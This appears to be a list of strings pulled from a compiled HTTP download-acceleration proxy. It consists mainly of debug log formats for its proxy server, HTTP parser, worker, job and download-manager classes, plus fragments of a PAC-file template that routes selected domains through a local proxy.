[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.

[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match

[HttpProxyServer::FindDownloadMgr] Worker was not found !

[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d

HttpProxyServer::RemoveDownloaderFromMap

[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)

HttpProxyServer::FDMWasStopped

[HttpProxyServer::Stop] The Stop process was finished !

[HttpProxyServer::Stop] - Workers - Deleted !

[HttpProxyServer::Stop] - Workers - Deleting...

[HttpProxyServer::Stop] - Listen - Stopped !

[HttpProxyServer::Stop] - Listen - Stopping...

[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !

[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...

[HttpProxyServer::Stop] Starting the Stop process...

HttpProxyServer::OnError

[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d

return "PROXY %s:%d";

[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d

[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d

127.0.0.1

[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration

[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true

[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration

[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.

[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF

[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***

[HttpProxyServer::OnHeader] ___Error local loop detected

[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.

[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)

[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d

[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!

[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d

[HttpProxyServer::OnHeader] New header from Worker:%d.

[HttpProxyServer::GetOriginalRequest] Original request was found: %s

[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d

HttpProxyServer::InsertDownloaderToMap

[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.

[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.

[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)

[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.

return "PROXY 127.0.0.1:%d";

shExpMatch(host, "%s")

function FindProxyForURL(url, host)

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.

HttpProxyServer::GetRedirectRulesInPacFormat

%%.%ds

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile]

[HttpProxyServer::~HttpProxyServer] - Leave

[HttpProxyServer::~HttpProxyServer] - Enter

[HttpProxyServer::SetOriginalRequest] Location: %s

[HttpProxyServer::SetOriginalRequest] Replacing: %s

[HttpProxyServer::HttpProxyServer]

hXXp://

HTTP_Version_String

HTTP/1.0

HttpParser::UpdateBuffer

[HttpParser::Reset]

[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.

[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.

[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d

[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.

[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.

HttpParser::Initialize

HttpParser::GetLine

[HttpParser::GetChunkSize] Missing %d/%d bytes.

[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.

[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] After Adding nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nChunkSize:%d

[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).

[HttpParser::GetChunkSize] The buffer size is %d bytes.

[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.

[HttpParser::GetChunkDetails] ___Error Unknown end of line.

[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).

[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s

HttpParser::ParseLine

HttpParser::GetFieldDataString

HttpParser::GetFieldDataNumber

HttpParser::SetFieldData

HttpParser::AddLineDetailsToMap

[HttpParser::IsDataAvailable] Undefined - %d data bytes

[HttpParser::IsDataAvailable] Response code has no body - no data

[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Chunks size - %d bytes

[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...

[HttpParser::IsConnectionClose] The Connection field exists:%s

[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default

[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default

[HttpParser::GetContentLength] Content-Length: %lld

[HttpParser::GetDataLengthFromRanges] Range fields does not exists

[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetDataLengthFromRanges] End Position == 0

[HttpParser::GetDataLengthFromRanges] Filesize: %lld

[HttpParser::GetDataLengthFromRangesField] Range fields does not exists

[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld

[HttpParser::GetRangesFromHeaderField] Range fields does not exists

[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetRangesFromHeaderField] Filesize: %lld

[HttpParser::IsValid] ___Error --- NOT an HTTP request ---

HttpParser::SetFieldDataNumber

[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.

[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s

HTTP/

HttpParser::AnalyzeFirstLine

[HttpParser::SetConnectionType] Adding - Connection: %s (%s)

[HttpParser::SetConnectionType] %s: %s (%s)

[HttpParser::UpdateDataEncodingType] Request - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.

[HttpParser::UpdateDataEncodingType] - No Encoding.

[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.

[HttpParser::ParseHeader] Complete - Header size: %d

HttpParser::ParseHeader

HttpParser::GetAllFieldDataStrings

[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.

[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.

[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.

[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.

[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d

[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty

[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.

%s%lld

[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.

[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.

%s%lld-

%s%lld-%lld

[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.

[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)

[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)

[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)

[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)

[HttpProxyLocal::Stop] FDM=%d (%d)

[~HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket%d.bin

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket_%d_%lld_%d.bin

C:\Temp\Socket_%d.bin

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.

[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.

[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.

[HttpProxyWorker::Stop] FDM=%d (%d)

[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.

HttpProxyWorker::Write

[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready

[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***

HttpProxyWorker::InitializeSocket

[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.

[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.

HttpProxyWorker::Initialize

[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d

[~HttpProxyWorker - %p] FDM=%d (%d).

[HttpProxyWorker - %p] FDM=%d (%d).

[JobInfo::GetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld

[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld

[JobInfo::GetDownloadStartPosition] Job:%d - %lld

[JobInfo::GetCurrentTimePosition] Job:%d - %lld

[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard

[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.

[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.

[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)

[JobInfo::GetCounter] ___Error: The field %d is not a counter field.

[JobInfo::SetCounter] ___Error: The field %d is not a counter field.

[JobInfo::Reset] Job:%d

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.

[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d

[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!

[JobInfo::CanBeRecovered] Job:%d - %d/%d

[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d

[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d

[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries

[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d

[JobInfo::SetValidationBytes] Job:%d - Bytes: %d

[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d

[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!

[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***

[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard

[JobInfo::SetState] Job:%d, State: %d, Force: %d

[JobInfo::ResetState] Job:%d

[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.

[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)

[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)

[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard

[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard

[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!

[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***

[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes

[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare

[JobInfo] Job:%d

[JobInfo] Job:%d (%lld-%lld).

[~JobInfo] Job:%d (%lld-%lld).

************ End: d:d:d::d

************ Start: d:d:d::d

[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d

[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges

pIHttpProxyServer

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.

[FileDownloadMgr::StopDownload] FDM=%d, Stopping...

[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...

[FileDownloadMgr::StopDownload] FDM=%d

[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.

[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.

[FileDownloadMgr::StopAcceleration] FDM=%d

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::AbortAcceleration] FDM=%d

[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)

[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***

[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed

[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)

[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...

[FileDownloadMgr::ResumeCaching] FDM=%d

[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s

pHttpProxyRemote

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.

[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)

[FileDownloadMgr::NotifyOnStop] FDM=%d

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...

[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.

[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s

[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***

[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url

[FileDownloadMgr::GetCacheData] FDM=%d

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.

[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.

[FileDownloadMgr::GetRequestFromQueue] FDM=%d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d

[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers

[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !

[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.

[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d

[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s

WARNING: Master passed all workers

WARNING: HD Acceleration not supported

ERROR: Dailymotion seek not supported

WARNING: Server in non support range servers list

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Overlapped: %lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld, Discard: %lld

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (>%dKB, %dms)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Stopping Acceleration *** (delay)

[FileDownloadMgr::HandleAcceleration] FDM=%d (%d),Req:%d - *** Start Acceleration *** (delay)

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Start 3G Acceleration ***

[FileDownloadMgr::OnInterfaceUp] FDM=%d - ip: %d, name: %s, 3G: %d

[ACCELINFO::OnDeserialize] ___Error get URL

[FileDownloadMgr::AddRequest] FDM=%d

[FileDownloadMgr::AddDataToRequest] FDM=%d ___Warning Not adding data to Request, continue accumulating...

[FileDownloadMgr::AddDataToRequest] FDM=%d - Wrote all %d bytes to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, that were left from Write to Remote worker

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d ___Error Appending %d bytes to Request

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Remote, since request has already data

[FileDownloadMgr::AddDataToRequest] FDM=%d, Req:%d - Appending %d (%d) bytes to Queue

[FileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[FileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

[FileDownloadMgr::RemoveWorkerFromList] FDM=%d There are %d workers

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d - All workers where deleted.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxies] FDM=%d: There are no workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are %d workers.

[FileDownloadMgr::DeleteAllRemoteProxiesButMaster] FDM=%d: There are no workers.

[FileDownloadMgr::SetThreadCommand] FDM=%d - Setting the command %s (%d commands are waiting)

[FileDownloadMgr::UpdateConsistencyFailureReason] FDM=%d

[FileDownloadMgr::GetThreadCommand] FDM=%d - Getting the command %s (%d commands are waiting)

************ URL: %.800s ************

************ End: d:d:d::d ************

************ Start: d:d:d::d ************

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnStopAcceleration] FDM=%d

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - All connections where closed.

[FileDownloadMgr::ExecuteExitCommand] FDM=%d - Closing all connections.

